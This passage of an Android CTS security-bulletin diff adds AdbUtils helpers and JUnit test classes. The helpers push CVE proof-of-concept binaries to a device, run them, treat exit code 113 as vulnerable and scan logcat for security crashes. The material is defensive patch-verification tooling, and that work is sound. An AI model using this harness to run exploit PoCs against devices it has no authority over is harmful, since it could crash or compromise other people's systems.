+  ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+
+  ProxyResolverV8Handle_delete(handle);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 405cb5e..ac8908b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,9 +16,11 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CrashUtils;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedOutputStream;
@@ -26,13 +28,30 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.concurrent.TimeoutException;
+import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.concurrent.Callable;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.regex.Pattern;
+import java.lang.Thread;
 import static org.junit.Assert.*;
+import junit.framework.Assert;
 
 public class AdbUtils {
 
+    final static String TMP_PATH = "/data/local/tmp/";
+    final static int TIMEOUT_SEC = 9 * 60;
+    final static String RESOURCE_ROOT = "/";
+
     /** Runs a commandline on the specified device
      *
      * @param command the command to be ran
@@ -50,7 +69,7 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @return the console output from the binary
      */
@@ -62,15 +81,35 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
      */
     public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        return runPoc(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments the input arguments for the poc
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
+            throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        if (arguments != null) {
+            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
+                    timeout, TimeUnit.SECONDS, 0);
+        } else {
+            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                    TimeUnit.SECONDS, 0);
+        }
         String output = receiver.getOutput();
         return output;
     }
@@ -78,16 +117,35 @@
     /**
      * Pushes and runs a binary to the selected device and ignores any of its output.
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
             throws Exception {
+        runPocNoOutput(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary with arguments to the selected device and
+     * ignores any of its output.
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments input arguments for the poc
+     */
+    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
+            String arguments) throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         NullOutputReceiver receiver = new NullOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
-                TimeUnit.SECONDS, 0);
+        if (arguments != null) {
+            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
+                    timeout, TimeUnit.SECONDS, 0);
+        } else {
+            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                    TimeUnit.SECONDS, 0);
+        }
     }
 
     /**
@@ -169,6 +227,40 @@
         }
     }
 
+    /**
+     * Pushes the specified files to the specified destination directory
+     *
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     */
+    public static void pushResources(String[] inputFiles, String inputFilesDestination,
+            ITestDevice device) throws Exception {
+        if ( (inputFiles != null) && (inputFilesDestination != null)) {
+            for (String tempFile : inputFiles) {
+                pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
+            }
+        }
+    }
+
+    /**
+     * Removes the specified files from the specified destination directory
+     *
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory where input files are
+     *        present
+     * @param device device to be run on
+     */
+    public static void removeResources(String[] inputFiles, String inputFilesDestination,
+            ITestDevice device) throws Exception {
+        if ( (inputFiles != null) && (inputFilesDestination != null)) {
+            for (String tempFile : inputFiles) {
+                runCommandLine("rm " + inputFilesDestination + tempFile, device);
+            }
+        }
+    }
+
    /**
      * Extracts the binary data from a resource and writes it to a temp file
      */
@@ -191,9 +283,17 @@
      * Utility function to help check the exit code of a shell command
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
-      return Integer.parseInt(
-          AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
-            device).replaceAll("[^0-9]", ""));
+        long time = System.currentTimeMillis();
+        String exitStatus = runCommandLine(
+                "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+        time = System.currentTimeMillis() - time;
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -221,13 +321,33 @@
      */
     public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
             throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                   receiver, timeout, TimeUnit.SECONDS, 0);
+       return runPocGetExitStatus(pocName, null, device, timeout);
+    }
 
-        String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
-        return Integer.parseInt(exitStatus);
+    /**
+     * Pushes and runs a binary to the device and returns the exit status.
+     * @param pocName a string path to poc from the /res folder
+     * @param arguments input arguments for the poc
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+
+     */
+    public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
+            int timeout) throws Exception {
+        device.executeShellCommand("chmod +x " + TMP_PATH + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
+        long time = System.currentTimeMillis();
+        device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
+        time = System.currentTimeMillis() - time;
+        String exitStatus = receiver.getOutput().trim();
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -238,7 +358,194 @@
      */
     public static void runPocAssertExitStatusNotVulnerable(
             String pocName, ITestDevice device, int timeout) throws Exception {
-        assertTrue("PoC returned exit status 113: vulnerable",
-                runPocGetExitStatus(pocName, device, timeout) != 113);
+        runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
     }
+
+    /**
+     * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     * @param pocName a string path to poc from the /res folder
+     * @param arguments input arguments for the poc
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
+            ITestDevice device, int timeout) throws Exception {
+        assertTrue("PoC returned exit status 113: vulnerable",
+                runPocGetExitStatus(pocName, arguments, device, timeout) != 113);
+    }
+
+
+    public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+        runCommandLine("chmod +x /data/local/tmp/pacrunner", device);
+        String targetPath = "/data/local/tmp/" + pacName + ".pac";
+        AdbUtils.pushResource("/" + pacName + ".pac", targetPath, device);
+        int code = runCommandGetExitCode("/data/local/tmp/pacrunner " + targetPath, device);
+        runCommandLine("rm " + targetPath, device);
+        return code;
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            String... processPatternStrings) throws Exception {
+        runPocAssertNoCrashes(pocName, device,
+                new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param config a crash parser configuration
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            CrashUtils.Config config) throws Exception {
+        AdbUtils.runCommandLine("logcat -c", device);
+        AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
+        assertNoCrashes(device, config);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param device device to be run on
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            ITestDevice device) throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param device device to be run on
+     * @param processPatternStrings a Pattern string to match the crash tombstone
+     *        process
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            ITestDevice device, String processPatternStrings[]) throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
+                processPatternStrings);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            String inputFiles[], String inputFilesDestination, ITestDevice device)
+            throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
+                device, null);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 3 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. There are no security crashes that match the expected process pattern.
+     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     * @param processPatternStrings a Pattern string to match the crash tombstone
+     *        process
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            String inputFiles[], String inputFilesDestination, ITestDevice device,
+            String processPatternStrings[]) throws Exception {
+        pushResources(inputFiles, inputFilesDestination, device);
+        runCommandLine("logcat -c", device);
+        try {
+            runPocAssertExitStatusNotVulnerable(binaryName, arguments, device, TIMEOUT_SEC);
+        } catch (IllegalArgumentException e) {
+            /*
+             * Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
+             * hang/timeout, catching the exception here and ignoring it. Hangs are of
+             * Moderate severity and hence patches may not be ported. This piece of code can
+             * be removed once 'runPocGetExitStatus' is updated to handle hangs.
+             */
+            CLog.w("Ignoring IllegalArgumentException: " + e);
+        } finally {
+            removeResources(inputFiles, inputFilesDestination, device);
+        }
+        List<String> processPatternList = new ArrayList<>();
+        if (processPatternStrings != null) {
+            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        }
+        processPatternList.add(binaryName);
+        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+        processPatternList.toArray(processPatternStringsWithSelf);
+        assertNoCrashes(device, processPatternStringsWithSelf);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process.
+     * By default, checks min crash addresses
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+            throws Exception {
+        assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param config a crash parser configuration
+     */
+    public static void assertNoCrashes(ITestDevice device,
+            CrashUtils.Config config) throws Exception {
+        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+
+        if (securityCrashes.length() == 0) {
+            return; // no security crashes detected
+        }
+
+        StringBuilder error = new StringBuilder();
+        error.append("Security crash detected:\n");
+        error.append("Process patterns:");
+        for (Pattern pattern : config.getProcessPatterns()) {
+            error.append(String.format(" '%s'", pattern.toString()));
+        }
+        error.append("\nCrashes:\n");
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
+        }
+        fail(error.toString());
+     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
new file mode 100644
index 0000000..1d57cb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.ddmlib.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class HostsideMainlineModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private SecurityTestCase context;
+
+    private static ImmutableSet<String> playManagedModules;
+
+    HostsideMainlineModuleDetector(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    synchronized Set<String> getPlayManagedModules() throws Exception {
+        if (playManagedModules == null) {
+            AdbUtils.runCommandLine("logcat -c", context.getDevice());
+            String output = AdbUtils.runCommandLine(
+                    "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "am output: " + output);
+            Thread.sleep(5 * 1000L);
+            String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "Found logcat output: " + logcat);
+            Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
+            if (matcher.find()) {
+                playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
+            } else {
+                playManagedModules = ImmutableSet.of();
+            }
+        }
+        return playManagedModules;
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
new file mode 100644
index 0000000..04a8f03
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_02 extends SecurityTestCase {
+    /**
+     *  b/25800375
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-02")
+    public void testPocCVE_2016_0811() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 9a7e62a..b0f0ddc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,13 +16,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_04 extends SecurityTestCase {
 
     /**
      * b/26323455
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2419() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
@@ -34,6 +40,7 @@
     /**
     *  b/26324307
     */
+    @Test
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_0844() throws Exception {
         AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
@@ -42,12 +49,9 @@
     /**
      * b/26593930
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2412() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
-            logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index d866a5a..39b7ada 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,12 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_05 extends SecurityTestCase {
     /**
      *  b/27555981
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2016_2460() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
@@ -35,8 +41,10 @@
     /**
      *  b/27275324
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2015_1805() throws Exception {
-      AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
+      getOomCatcher().setHighMemoryTest();
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..58c604e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc16_06 extends SecurityTestCase {
+    /**
+     *  b/27661749
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void testPocCVE_2016_2482() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2482", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 20536ea..4367a61 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,15 +13,22 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_07 extends SecurityTestCase {
     /**
      *  b/28740702
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
@@ -30,20 +37,28 @@
     /**
      *  b/27890802
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3746() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
-            logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
     }
 
     /**
      *  b/28557020
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2014_9803() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
     }
+
+    /**
+     * b/27903498
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3747() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 3280a68..a253619 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,15 +13,22 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_09 extends SecurityTestCase {
     /**
      * b/27773913
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-09")
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..d1550d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,18 +17,21 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_10 extends SecurityTestCase {
 
     /**
      *  b/30204103
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-10")
     public void testPocCVE_2016_3913() throws Exception {
-        AdbUtils.runCommandLine("logcat -c",getDevice());
-        AdbUtils.runPoc("CVE-2016-3913", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index bb18b0d..60a15e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,13 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_11 extends SecurityTestCase {
 
     /**
      *  b/29149404
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2012_6702() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
@@ -35,6 +41,7 @@
     /**
      *  b/30904789
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6730() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -45,6 +52,7 @@
     /**
      *  b/30906023
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6731() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -55,6 +63,7 @@
     /**
      *  b/30906599
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6732() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -65,6 +74,7 @@
     /**
      *  b/30906694
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6733() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -75,6 +85,7 @@
     /**
      *  b/30907120
      */
+    @Test
